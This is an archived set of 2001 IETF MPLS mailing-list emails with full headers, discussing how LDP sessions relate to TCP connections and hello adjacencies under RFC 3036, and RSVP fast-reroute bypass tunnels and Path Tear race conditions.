Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpas01749
	for <mpls@UU.NET>; Mon, 14 May 2001 23:43:29 GMT
Received: from gateway.ipinfusion.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkpas11906
	for <mpls@UU.NET>; Mon, 14 May 2001 23:43:29 GMT
Received: from ipinfusion.com (IDENT:haseeb@[10.10.0.34])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4ENgef06277
	for <mpls@UU.NET>; Mon, 14 May 2001 16:42:40 -0700
Message-ID: <3B005253.C9C5A132@ipinfusion.com>
Date: Mon, 14 May 2001 16:47:00 -0500
From: Haseeb Budhani <haseeb@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Multiple adjacencies per session.
Content-Type: multipart/alternative;
 boundary="------------E426C94EA4DCEC72AA2655D9"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------E426C94EA4DCEC72AA2655D9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello folks,

I have a few simple questions pertaining to the existence of multiple
adjacencies per session, which RFC3036 says can only happen for
point-to-point links (2.5.5 : Maintianing Hello Adjacencies)

1. Does one "session" between two peers denote one TCP connection
between the two ??

2. If the answer to (1) is Yes, does this mean that for n adjacencies in
a session, only one -- the primary -- adjacency has an active
TCP connection, which it uses to exchange LDP specific information, and
the other n-1 adjacencies remain "idle" ?

3. If the answer to (1) is No, is there a TCP connection set up for
every adjacency, and is this TCP connection used to exchange
LDP specific data ??

Please get back to me at your earliest convenience.

Thank. :)

--
Haseeb Budhani.

--------------E426C94EA4DCEC72AA2655D9
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hello folks,
<p>I&nbsp;have a few simple questions pertaining to the existence of multiple
adjacencies per session, which RFC3036 says can only happen for point-to-point
links (2.5.5 :&nbsp;Maintianing Hello Adjacencies)
<p>1. Does one "session" between two peers denote one TCP&nbsp;connection
between the two ??
<p>2. If the answer to (1) is Yes, does this mean that for n adjacencies
in a session, only one -- the primary -- adjacency has an active TCP&nbsp;connection,
which it uses to exchange LDP&nbsp;specific information, and the other
n-1 adjacencies remain "idle" ?
<p>3. If the answer to (1) is No, is there a TCP&nbsp;connection set up
for every adjacency, and is this TCP&nbsp;connection used to exchange LDP&nbsp;specific
data ??
<p>Please get back to me at your earliest convenience.
<p>Thank. :)
<pre>--
Haseeb Budhani.</pre>
</html>

--------------E426C94EA4DCEC72AA2655D9--



From owner-mpls@UU.NET  Mon May 14 20:06:16 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27469
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 20:06:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpau12559;
	Tue, 15 May 2001 00:05:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkpau17753
	for mpls-outgoing; Tue, 15 May 2001 00:04:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpau17735
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 00:04:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpau22150
	for <mpls@uu.net>; Tue, 15 May 2001 00:03:59 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpau07278
	for <mpls@uu.net>; Tue, 15 May 2001 00:03:59 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id UAA10445 for mpls@uu.net; Mon, 14 May 2001 20:03:58 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpau15917
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 00:03:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpau13710
	for <mpls@UU.NET>; Tue, 15 May 2001 00:02:38 GMT
Received: from thalia.fm.intel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns02.fm.intel.com [132.233.247.11])
	id QQkpau09055
	for <mpls@UU.NET>; Tue, 15 May 2001 00:02:38 GMT
Received: from SMTP (fmsmsxvs01-1.fm.intel.com [132.233.42.201])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.38 2001/05/09 12:49:45 root Exp $) with SMTP id AAA13679;
	Tue, 15 May 2001 00:02:30 GMT
Received: from fmsmsx17.intel.com ([132.233.48.17]) by 132.233.48.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Tue, 15 May 2001 00:02:30 0000 (GMT)
Received: by fmsmsx17.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <KT4YGLR5>; Mon, 14 May 2001 17:02:28 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D5009AE29DD@FMSMSX37>
From: "Sharma, Prem" <p_sharma@trillium.com>
To: "'Haseeb Budhani'" <haseeb@ipinfusion.com>, mpls@UU.NET
Subject: RE: Multiple adjacencies per session.
Date: Mon, 14 May 2001 17:02:27 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DCD2.53C360D0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DCD2.53C360D0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

-----Original Message-----
From: Haseeb Budhani [mailto:haseeb@ipinfusion.com]
Sent: Monday, May 14, 2001 2:47 PM
To: mpls@UU.NET
Subject: Multiple adjacencies per session.


Hello folks, 

I have a few simple questions pertaining to the existence of multiple
adjacencies per session, which RFC3036 says can only happen for
point-to-point links (2.5.5 : Maintianing Hello Adjacencies) 


1. Does one "session" between two peers denote one TCP connection between
the two ?? 
[Prem Sharma] Yes. There's one TCP connection per session. Two adjacent
routers may have many sessions (many label spaces, many LDP Ids) and as many
no. of TCP connections. 


2. If the answer to (1) is Yes, does this mean that for n adjacencies in a
session, only one -- the primary -- adjacency has an active TCP connection,
which it uses to exchange LDP specific information, and the other n-1
adjacencies remain "idle" ? 
[Prem Sharma] I would rather put it like this: A session can have multiple
adjacencies under its control. The periodic flow of  "Hellos" indicate the
liveness of the adjacencies. All the adjacencies under the session have the
same LDP identifier and for a specific LDP identifier, a specific transport
address is exposed to the peer [If the transport address is not carried in
the "Hellos" then the source ip address of the UDP packet is used to
establish TCP connection]. Peer uses this transport address to establish TCP
connection. Once the TCP connection is established, periodic keep alives
over the TCP connection (in case LDP messages are not transacted for some
time) indicate the sanity of the TCP connection from the LDP's point of
view.  Adjacencies are not idle; periodic "Hellos" keep on flowing over them
(UDP packets). Once the flow of "Hellos" over an adjacency ceases, the
adjacency is assumed inactive. When the last adjacencies under the session
goes down, the session is assumed to be inactive. 


3. If the answer to (1) is No, is there a TCP connection set up for every
adjacency, and is this TCP connection used to exchange LDP specific data ?? 
[Prem Sharma] No, pls. see the previous response.  


Please get back to me at your earliest convenience
[Prem Sharma] 

Hope it helps.

Prem

 . 

Thank. :) 

--

Haseeb Budhani.


------_=_NextPart_001_01C0DCD2.53C360D0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2920.0" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=464084823-14052001>Hi,</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Haseeb Budhani 
  [mailto:haseeb@ipinfusion.com]<BR><B>Sent:</B> Monday, May 14, 2001 2:47 
  PM<BR><B>To:</B> mpls@UU.NET<BR><B>Subject:</B> Multiple adjacencies per 
  session.<BR><BR></DIV></FONT>Hello folks, 
  <P>I&nbsp;have a few simple questions pertaining to the existence of multiple 
  adjacencies per session, which RFC3036 says can only happen for point-to-point 
  links (2.5.5 :&nbsp;Maintianing Hello Adjacencies) 
  <P>1. Does one "session" between two peers denote one TCP&nbsp;connection 
  between the two ?? <BR><FONT color=#0000ff face=Arial size=2><SPAN 
  class=464084823-14052001>[Prem Sharma] Yes. There's one TCP connection per 
  session. Two adjacent routers may have many sessions (many label spaces, many 
  LDP Ids) and as many no. of TCP connections.</SPAN></FONT>
  <P>2. If the answer to (1) is Yes, does this mean that for n adjacencies in a 
  session, only one -- the primary -- adjacency has an active 
  TCP&nbsp;connection, which it uses to exchange LDP&nbsp;specific information, 
  and the other n-1 adjacencies remain "idle" ? <BR><FONT color=#0000ff 
  face=Arial size=2><SPAN class=464084823-14052001>[Prem Sharma] I would rather 
  put it like this:&nbsp;A session can have multiple adjacencies under its 
  control. The periodic flow of &nbsp;"Hellos" indicate the liveness of the 
  adjacencies. All the adjacencies under the session have the same LDP 
  identifier and for a specific LDP identifier, a specific transport address is 
  exposed to the peer [If the transport address is not carried in the 
  "Hellos"&nbsp;then the source ip address of the UDP packet is used to 
  establish TCP connection]. Peer uses this transport address to establish TCP 
  connection. Once the&nbsp;TCP connection is established,&nbsp;periodic keep 
  alives over the TCP connection (in case LDP messages are not transacted for 
  some time) indicate the sanity of the TCP connection from the LDP's point of 
  view.&nbsp;&nbsp;Adjacencies are not idle; periodic "Hellos" keep on flowing 
  over them (UDP packets). Once the flow of "Hellos" over an adjacency ceases, 
  the adjacency is assumed inactive. When the last adjacencies under the session 
  goes down, the session is assumed to be inactive.</SPAN></FONT>
  <P>3. If the answer to (1) is No, is there a TCP&nbsp;connection set up for 
  every adjacency, and is this TCP&nbsp;connection used to exchange 
  LDP&nbsp;specific data ?? <BR><FONT color=#0000ff face=Arial size=2><SPAN 
  class=464084823-14052001>[Prem Sharma]&nbsp;No, pls. see the&nbsp;previous 
  response.&nbsp;</SPAN></FONT>
  <P>Please get back to me at your earliest convenience<BR><SPAN 
  class=464084823-14052001><FONT color=#0000ff face=Arial size=2>[Prem 
  Sharma]&nbsp;</FONT></SPAN></P>
  <P><SPAN class=464084823-14052001><FONT color=#0000ff face=Arial size=2>Hope 
  it helps.</FONT></SPAN></P>
  <P><SPAN class=464084823-14052001><FONT color=#0000ff face=Arial 
  size=2>Prem</FONT></SPAN></P>
  <P><SPAN class=464084823-14052001>&nbsp;</SPAN>. </P>
  <P>Thank. :) <PRE>--
Haseeb Budhani.</PRE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0DCD2.53C360D0--



From owner-mpls@UU.NET  Mon May 14 20:09:50 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27510
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 20:09:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpau23033;
	Tue, 15 May 2001 00:08:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkpau26100
	for mpls-outgoing; Tue, 15 May 2001 00:08:11 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpau26082
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 00:08:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpau02619
	for <mpls@UU.NET>; Tue, 15 May 2001 00:07:21 GMT
Received: from web11403.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web11403.mail.yahoo.com [216.136.131.233])
	id QQkpau14379
	for <mpls@UU.NET>; Tue, 15 May 2001 00:07:21 GMT
Message-ID: <20010515000721.71056.qmail@web11403.mail.yahoo.com>
Received: from [65.194.140.2] by web11403.mail.yahoo.com; Mon, 14 May 2001 17:07:21 PDT
Date: Mon, 14 May 2001 17:07:21 -0700 (PDT)
From: Sanjay Wadhwa <swadhwa01@yahoo.com>
Subject: Re: fast reroute
To: Alia Atlas <aatlas@avici.com>
Cc: mpls@UU.NET
In-Reply-To: <4.1.20010511111717.00a937e0@mailhost.avici.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

see inline..

--- Alia Atlas <aatlas@avici.com> wrote:
> Sanjay,
> 
> At 08:08 AM 5/11/01 -0700, Sanjay Wadhwa wrote:
> >Alia,
> >  I haven't heard back from the authors of the draft on this. 
> >Using the address of the PLR for the detour is what I had in mind as
> a
> >possible option too. One issue is being able to unambiguously find
> the
> >primary's state to merge with on the merge point when you get a
> setup
> >for the detour, and to keep the primary's state alive (and refreshed
> >downstream) if path state for one or more detours is present. I
> suppose
> >on the merge point you could identify the primary's state by looking
> >for path state that correponds to the session in the detour's setup
> and
> >also contains a re-route object.
> 
> If the "local protection requested" flag is set in the Session
> Attribute
> object for the primary, that could also be used.  In
> draft-gan-fast-reroute-00.txt, I do not see it specified whether or
> not
> that flag should be set.  I would assume that it should be, since
> local
> protection is what the fast-reroute object is requesting.
> 
> I do have a question about draft-swallow-rsvp-bypass-label-01.txt and
> keeping the primary's state alive.  The draft suggests simply sending
> the
> primary's PATH message, presumably with a modified ERO, through the
> bypass
> tunnel only in the event of a failure. 
> 
> Clearly, the bypass tunnel will be signalled and kept alive, but the
> Merge
> node can't determine which primary's are protected via backups
> through that
> bypass tunnel.  When global labels are available, no Path messages
> are sent
> for the backups to the merge point.
> 
> When a failure occurs, however, the downstream node may immediately
> send a
> path tear.
> In the below diagram, with a primary of R1-R2-R3-R4-R5 and a bypass
> tunnel
> of R2-R6-R4, if the link R2-R3 fails, presumably R3 will send a Path
> tear
> to R4.   If R4 hasn't received a the modified Path message through
> the
> bypass tunnel, then R4 will tear down the primary state.
> 
>                                     ___R6___
>                                   /               \
> 		R1-----R2-----R3------R4------R5 
> 
> Do you see a solution to this race condition, other than signalling
> the
> PATH message through the bypass tunnel always?  

Signalling through the bypass tunnel always would defeat the
optimization mentioned with global labels.

> Is the assumption that R3 will not send an immediate Path Tear on a
>LSP with local protection requested?

In my opinion, yes. And in addition (to be safe) R4 in your example
could also ignore any path tear messages and could wait for refreshes
when local protection has been requested on an LSP. 

-Sanjay




__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Mon May 14 22:00:50 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA29645
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 22:00:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpbc00153;
	Tue, 15 May 2001 02:00:13 GMT
Received: by mail-control.mail.uu.net 
	id QQkpbb27328
	for mpls-outgoing; Tue, 15 May 2001 01:59:39 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpbb27306
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 01:59:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpbb05381
	for <mpls@UU.NET>; Tue, 15 May 2001 01:58:38 GMT
Received: from gateway.ipinfusion.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkpbb22427
	for <mpls@UU.NET>; Tue, 15 May 2001 01:58:38 GMT
Received: from ipinfusion.com (IDENT:haseeb@[10.10.0.34])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4F1vmf09087
	for <mpls@UU.NET>; Mon, 14 May 2001 18:57:48 -0700
Message-ID: <3B007201.F428AF5F@ipinfusion.com>
Date: Mon, 14 May 2001 19:02:09 -0500
From: Haseeb Budhani <haseeb@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Multiple adjacencies per session.
Content-Type: multipart/alternative;
 boundary="------------F4610E4613771985CED58CE9"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------F4610E4613771985CED58CE9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Prem,

Thanks for your reply.

I have a follow-up question: Suppose a session has two adjacencies, and
the session is currently using the TCP connection adjA for LDP-specific
data flow. If adjA goes down for some reason, should the session be
closed down and restarted using the second adjacency adjB that belongs
to this session, or should the session do a hot-swap of sorts and just
start using the second adjacency ?? This could be a a failover
application for LDP, but I'm not really sure if this is what the RFC is
talking about.

I'd appreciate your comments at your convenience.

Thanks. :)

--
Haseeb Budhani.

"Sharma, Prem" wrote:

> Hi,
>
>      -----Original Message-----
>      From: Haseeb Budhani [mailto:haseeb@ipinfusion.com]
>      Sent: Monday, May 14, 2001 2:47 PM
>      To: mpls@UU.NET
>      Subject: Multiple adjacencies per session.
>      Hello folks,
>
>      I have a few simple questions pertaining to the existence of
>      multiple adjacencies per session, which RFC3036 says can
>      only happen for point-to-point links (2.5.5 : Maintianing
>      Hello Adjacencies)
>
>      1. Does one "session" between two peers denote one TCP
>      connection between the two ??
>      [Prem Sharma] Yes. There's one TCP connection per session.
>      Two adjacent routers may have many sessions (many label
>      spaces, many LDP Ids) and as many no. of TCP connections.
>
>      2. If the answer to (1) is Yes, does this mean that for n
>      adjacencies in a session, only one -- the primary --
>      adjacency has an active TCP connection, which it uses to
>      exchange LDP specific information, and the other n-1
>      adjacencies remain "idle" ?
>      [Prem Sharma] I would rather put it like this: A session can
>      have multiple adjacencies under its control. The periodic
>      flow of  "Hellos" indicate the liveness of the adjacencies.
>      All the adjacencies under the session have the same LDP
>      identifier and for a specific LDP identifier, a specific
>      transport address is exposed to the peer [If the transport
>      address is not carried in the "Hellos" then the source ip
>      address of the UDP packet is used to establish TCP
>      connection]. Peer uses this transport address to establish
>      TCP connection. Once the TCP connection is established,
>      periodic keep alives over the TCP connection (in case LDP
>      messages are not transacted for some time) indicate the
>      sanity of the TCP connection from the LDP's point of view.
>      Adjacencies are not idle; periodic "Hellos" keep on flowing
>      over them (UDP packets). Once the flow of "Hellos" over an
>      adjacency ceases, the adjacency is assumed inactive. When
>      the last adjacencies under the session goes down, the
>      session is assumed to be inactive.
>
>      3. If the answer to (1) is No, is there a TCP connection set
>      up for every adjacency, and is this TCP connection used to
>      exchange LDP specific data ??
>      [Prem Sharma] No, pls. see the previous response.
>
>      Please get back to me at your earliest convenience
>      [Prem Sharma]
>
>      Hope it helps.
>
>      Prem
>
>      .
>
>      Thank. :)
>
>      --
>      Haseeb Budhani.
>

--------------F4610E4613771985CED58CE9
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi Prem,
<p>Thanks for your reply.
<p>I have a follow-up question: Suppose a session has two adjacencies,
and the session is currently using the TCP connection adjA for LDP-specific
data flow. If adjA goes down for some reason, should the session be closed
down and restarted using the second adjacency adjB that belongs to this
session, or should the session do a hot-swap of sorts and just start using
the second adjacency ?? This could be a a failover application for LDP,
but I'm not really sure if this is what the RFC is talking about.
<p>I'd appreciate your comments at your convenience.
<p>Thanks. :)
<pre>--
Haseeb Budhani.</pre>

<p><br>"Sharma, Prem" wrote:
<blockquote TYPE=CITE><span 
class=464084823-14052001><font face="Arial"><font color="#0000FF"><font size=-1>Hi,</font></font></font></span>
<blockquote style="MARGIN-RIGHT: 0px">
<div class="OutlookMessageHeader" dir="ltr"><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><font face="Tahoma"><font size=-1><b>From:</b> Haseeb Budhani [<a href="mailto:haseeb@ipinfusion.com">mailto:haseeb@ipinfusion.com</a>]</font></font>
<br><font face="Tahoma"><font size=-1><b>Sent:</b> Monday, May 14, 2001
2:47 PM</font></font>
<br><font face="Tahoma"><font size=-1><b>To:</b> mpls@UU.NET</font></font>
<br><font face="Tahoma"><font size=-1><b>Subject:</b> Multiple adjacencies
per session.</font></font></div>
Hello folks,
<p>I have a few simple questions pertaining to the existence of multiple
adjacencies per session, which RFC3036 says can only happen for point-to-point
links (2.5.5 : Maintianing Hello Adjacencies)
<p>1. Does one "session" between two peers denote one TCP connection between
the two ??
<br><span 
  class=464084823-14052001><font face="Arial"><font color="#0000FF"><font size=-1>[Prem
Sharma] Yes. There's one TCP connection per session. Two adjacent routers
may have many sessions (many label spaces, many LDP Ids) and as many no.
of TCP connections.</font></font></font></span>
<p>2. If the answer to (1) is Yes, does this mean that for n adjacencies
in a session, only one -- the primary -- adjacency has an active TCP connection,
which it uses to exchange LDP specific information, and the other n-1 adjacencies
remain "idle" ?
<br><span class=464084823-14052001><font face="Arial"><font color="#0000FF"><font size=-1>[Prem
Sharma] I would rather put it like this: A session can have multiple adjacencies
under its control. The periodic flow of&nbsp; "Hellos" indicate the liveness
of the adjacencies. All the adjacencies under the session have the same
LDP identifier and for a specific LDP identifier, a specific transport
address is exposed to the peer [If the transport address is not carried
in the "Hellos" then the source ip address of the UDP packet is used to
establish TCP connection]. Peer uses this transport address to establish
TCP connection. Once the TCP connection is established, periodic keep alives
over the TCP connection (in case LDP messages are not transacted for some
time) indicate the sanity of the TCP connection from the LDP's point of
view.&nbsp; Adjacencies are not idle; periodic "Hellos" keep on flowing
over them (UDP packets). Once the flow of "Hellos" over an adjacency ceases,
the adjacency is assumed inactive. When the last adjacencies under the
session goes down, the session is assumed to be inactive.</font></font></font></span>
<p>3. If the answer to (1) is No, is there a TCP connection set up for
every adjacency, and is this TCP connection used to exchange LDP specific
data ??
<br><span 
  class=464084823-14052001><font face="Arial"><font color="#0000FF"><font size=-1>[Prem
Sharma] No, pls. see the previous response.&nbsp;</font></font></font></span>
<p>Please get back to me at your earliest convenience
<br><span 
  class=464084823-14052001><font face="Arial"><font color="#0000FF"><font size=-1>[Prem
Sharma]&nbsp;</font></font></font></span>
<p><span class=464084823-14052001><font face="Arial"><font color="#0000FF"><font size=-1>Hope
it helps.</font></font></font></span>
<p><span class=464084823-14052001><font face="Arial"><font color="#0000FF"><font size=-1>Prem</font></font></font></span>
<p><span class=464084823-14052001></span>.
<p>Thank. :)
<pre>--
Haseeb Budhani.</pre>
</blockquote>
</blockquote>
</html>

--------------F4610E4613771985CED58CE9--



From owner-mpls@UU.NET  Mon May 14 23:48:05 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA02305
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 23:48:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpbj09108;
	Tue, 15 May 2001 03:47:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkpbj16829
	for mpls-outgoing; Tue, 15 May 2001 03:46:38 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpbj16816
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 03:46:30 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpbj04470
	for <mpls@UU.NET>; Tue, 15 May 2001 03:45:44 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQkpbj06077
	for <mpls@UU.NET>; Tue, 15 May 2001 03:45:42 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52])
	by wiprom2mx1.wipro.com (8.9.3+Sun/8.9.3) with SMTP id JAA13952
	for <mpls@UU.NET>; Tue, 15 May 2001 09:23:52 GMT
Received: from soflt.alc.wipinfo.soft.net ([192.168.220.205]) by
          sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GDCYO500.PYJ; Tue, 15 May 2001 09:20:29 +0530 
Date: Tue, 15 May 2001 09:21:18 +0530 (IST)
From: "chetan kumar s" <chetan.kumar@wipro.com>
X-Sender: chetansk@soflt.alc.wipinfo.soft.net
Reply-To: chetan.kumar@wipro.com
To: Haseeb Budhani <haseeb@ipinfusion.com>
cc: mpls@UU.NET
Subject: Re: Multiple adjacencies per session.
In-Reply-To: <3B007201.F428AF5F@ipinfusion.com>
Message-ID: <Pine.LNX.4.21.0105150910590.3115-100000@soflt.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Mon, 14 May 2001, Haseeb Budhani wrote:

Hi,
	Please look at the embedded messages..

> I have a follow-up question: Suppose a session has two adjacencies, and
> the session is currently using the TCP connection adjA for LDP-specific
> data flow. If adjA goes down for some reason, should the session be

Not exactly, ideally maintenance of session and adjecencies are two
different tasks. But there exists a relation, "if there are no more
adjecencies, then session can not exist, and converse is not true". So
specific to ur question, when the adjA goes down, U can continue with the
session, there is absolutely no change of any sort. If the adjB also goes
down, then U may have the close the session..

> closed down and restarted using the second adjacency adjB that belongs
> to this session, or should the session do a hot-swap of sorts and just
> start using the second adjacency ?? This could be a a failover
> application for LDP, but I'm not really sure if this is what the RFC is
> talking about.
> 
> I'd appreciate your comments at your convenience.

Thanks
Chetan S

> 
> Thanks. :)
> 
> --
> Haseeb Budhani.
> 
> "Sharma, Prem" wrote:
> 
> > Hi,
> >
> >      -----Original Message-----
> >      From: Haseeb Budhani [mailto:haseeb@ipinfusion.com]
> >      Sent: Monday, May 14, 2001 2:47 PM
> >      To: mpls@UU.NET
> >      Subject: Multiple adjacencies per session.
> >      Hello folks,
> >
> >      I have a few simple questions pertaining to the existence of
> >      multiple adjacencies per session, which RFC3036 says can
> >      only happen for point-to-point links (2.5.5 : Maintianing
> >      Hello Adjacencies)
> >
> >      1. Does one "session" between two peers denote one TCP
> >      connection between the two ??
> >      [Prem Sharma] Yes. There's one TCP connection per session.
> >      Two adjacent routers may have many sessions (many label
> >      spaces, many LDP Ids) and as many no. of TCP connections.
> >
> >      2. If the answer to (1) is Yes, does this mean that for n
> >      adjacencies in a session, only one -- the primary --
> >      adjacency has an active TCP connection, which it uses to
> >      exchange LDP specific information, and the other n-1
> >      adjacencies remain "idle" ?
> >      [Prem Sharma] I would rather put it like this: A session can
> >      have multiple adjacencies under its control. The periodic
> >      flow of  "Hellos" indicate the liveness of the adjacencies.
> >      All the adjacencies under the session have the same LDP
> >      identifier and for a specific LDP identifier, a specific
> >      transport address is exposed to the peer [If the transport
> >      address is not carried in the "Hellos" then the source ip
> >      address of the UDP packet is used to establish TCP
> >      connection]. Peer uses this transport address to establish
> >      TCP connection. Once the TCP connection is established,
> >      periodic keep alives over the TCP connection (in case LDP
> >      messages are not transacted for some time) indicate the
> >      sanity of the TCP connection from the LDP's point of view.
> >      Adjacencies are not idle; periodic "Hellos" keep on flowing
> >      over them (UDP packets). Once the flow of "Hellos" over an
> >      adjacency ceases, the adjacency is assumed inactive. When
> >      the last adjacencies under the session goes down, the
> >      session is assumed to be inactive.
> >
> >      3. If the answer to (1) is No, is there a TCP connection set
> >      up for every adjacency, and is this TCP connection used to
> >      exchange LDP specific data ??
> >      [Prem Sharma] No, pls. see the previous response.
> >
> >      Please get back to me at your earliest convenience
> >      [Prem Sharma]
> >
> >      Hope it helps.
> >
> >      Prem
> >
> >      .
> >
> >      Thank. :)
> >
> >      --
> >      Haseeb Budhani.
> >
> 



From owner-mpls@UU.NET  Tue May 15 00:23:21 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA02545
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 00:23:21 -0400 (EDT)
